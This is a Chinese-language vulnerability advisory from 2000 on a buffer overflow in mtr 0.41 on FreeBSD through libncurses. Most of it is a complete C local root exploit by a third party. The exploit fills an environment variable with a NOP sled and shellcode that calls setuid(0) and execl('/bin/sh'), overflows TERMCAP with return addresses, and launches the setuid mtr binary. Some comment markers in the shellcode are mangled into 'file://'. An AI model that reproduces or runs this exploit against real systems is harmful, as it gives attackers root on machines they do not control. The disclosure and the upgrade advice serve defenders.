首页 -> 安全研究

安全研究

安全漏洞
FreeBSD Mtr 0.41缓冲区溢出漏洞

发布日期:2000-04-27
更新日期:2000-04-27

受影响系统:
FreeBSD + mtr 0.41
不受影响系统:
FreeBSD + mtr 0.42以及更高版本
描述:

Mtr是一个将'ping'和'traceroute'组合在一起的工具软件。Mtr有两个界面,一个是ncurses界
面,用在telnet连接时使用。另一个是Gtk界面,在Xwindow下使用。由于FreeBSD的libncurse库
存在缓冲区溢出漏洞,导致mtr可能被利用来非法获取root权限。

<* 来源:Przemyslaw Frasunek  (venglin@FREEBSD.LUBLIN.PL)  *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



/* mtr-0.41 (freebsd) local root exploit */
/* (c) 2000 babcia padlina / buffer0verfl0w security (www.b0f.com) */

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP    0x90
#define BUFSIZE    10000
#define ADDRS    1200

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
  char *execshell =
  file://seteuid(0);
  "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
  file://setuid(0);
  "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
  file://execl("/bin/sh", "sh", 0);
  "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

  char buf[BUFSIZE+ADDRS+1], *p;
  int noplen, i, ofs;
  long ret, *ap;

  if (argc < 2)
  {
    fprintf(stderr, "usage: %s ofs\nusually offset = 4000\n",
      argv[0]);
    exit(0);
  }

  ofs = atoi(argv[1]);

  noplen = BUFSIZE - strlen(execshell);
  ret = getesp() + ofs;

  memset(buf, NOP, noplen);
  buf[noplen+1] = '\0';
  strcat(buf, execshell);

  setenv("EGG", buf, 1);

  p = buf;
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

  fprintf(stderr, "ret: 0x%x\n", ret);

  setenv("TERMCAP", buf, 1);
  execl("/usr/local/sbin/mtr", "mtr", 0);

  return 0;
}



建议:

尽快升级到mtr 0.42或者更高版本

浏览次数:6538
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障